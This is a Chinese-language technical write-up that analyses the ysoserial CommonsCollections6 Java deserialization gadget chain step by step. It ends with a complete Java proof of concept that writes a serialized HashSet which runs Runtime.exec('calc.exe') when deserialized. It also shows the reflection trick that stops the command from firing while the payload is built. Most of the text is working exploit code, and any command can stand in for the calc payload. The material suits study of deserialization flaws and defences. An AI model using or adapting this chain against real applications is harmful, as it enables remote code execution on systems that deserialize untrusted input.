ysoserial commonscollections6 分析

利用链如下：

其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
*/

1、InvokerTransformer.transform()
因为Runtime类不实现Serializable接口，所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。

Class cr = Class.forName("java.lang.Runtime");
        Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、ChainedTransformer.transform()

使用ChainedTransformer构造方法，给iTransformers赋值，在transform中执行iTransformers所有元组的transform，transform传入的参数为前一个元组的对象。所以这个方法可以对步骤1中链执行。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

创建一个Transformer[]，包含步骤1中所有对象。

Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})

};

由于步骤1中cr对象是Class对象，不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。

public ConstantTransformer(Object constantToReturn) {
	super();
	iConstant = constantToReturn;
}

public Object transform(Object input) {
	return iConstant;
}

所以最终得到的transformers是

public static void main(String[] args) throws Exception {
//        Class cr = Class.forName("java.lang.Runtime");
        ;
        Transformer[] transformers = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})

        };

        new ChainedTransformer(transformers).transform(1);
    //calc.exe
    }

3、LazyMap.get()

LazyMap类的get方法实现了，对factory的transform。factory的decorate方法实现了对factory的赋值，Transformer类型

所以向decorate传入new ChainedTransformer(transformers)，最终调用get来实现new ChainedTransformer(transformers)的transform。

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
}

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

当然调用get方法的时候，如果key是不存在的才会执行factory.transform(key)，所以最终的调用

Transformer transformer = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe

4、TiedMapEntry

根据利用链，下一步通过TiedMapEntry构造方法传入map和key，通过getValue实现对map参数的get操作，所以将lazyMap和一个不存在的key作为参数传入。

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
}
public Object getValue() {
        return map.get(key);
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();

再看TiedMapEntry的hashCode方法，实现了getValue()的调用。

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();

5、HashMap

hashmap的hash实现了对参数key的hashcode方法，put方法实现了hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
}

利用链

Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe

6、HashSet

根据利用链看HashSet类的readobject()，由于map = new HashMap<>()，最终实现了在readobject中调用了hashmap.put方法。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ...
        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

利用链

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();

由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。

public Object getValue() {
        return map.get(key);
}

lazyMap.get(2)该执行过程中，如果lazyMap不存在key，会对lazyMap储值。

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
}

所以在做序列化的时候实际lazyMap中已经存在了key=2，反序列化的时候map.containsKey(key) == false不成立，在反序列化过程中无法成功执行Object value = factory.transform(key);

在序列化之前需要将该key移除

lazyMap.remove(2);

优化：

由于hashSet.add(tiedMapEntry);中，执行了map.put(tiedMapEntry)，最终会在本地执行exec。

public boolean add(E e) {
        return map.put(e, PRESENT)==null;
}

在一开始可以对transformers赋空值，在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改，将实际执行的exec执行链传入。

Transformer[] transformers = {};
Transformer[] transformerslist = {
	new ConstantTransformer(Class.forName("java.lang.Runtime")),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);

最终的利用链

public class CC6Test1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = {};
        Transformer[] transformerslist = {
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        Transformer transformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put(1,"hello");
        Map lazyMap = LazyMap.decorate(map, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);

        HashSet hashSet = new HashSet();
        hashSet.add(tiedMapEntry);
        lazyMap.remove(2);


        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformer, transformerslist);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
        objectOutputStream.writeObject(hashSet);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
        objectInputStream.readObject();
        
    }
}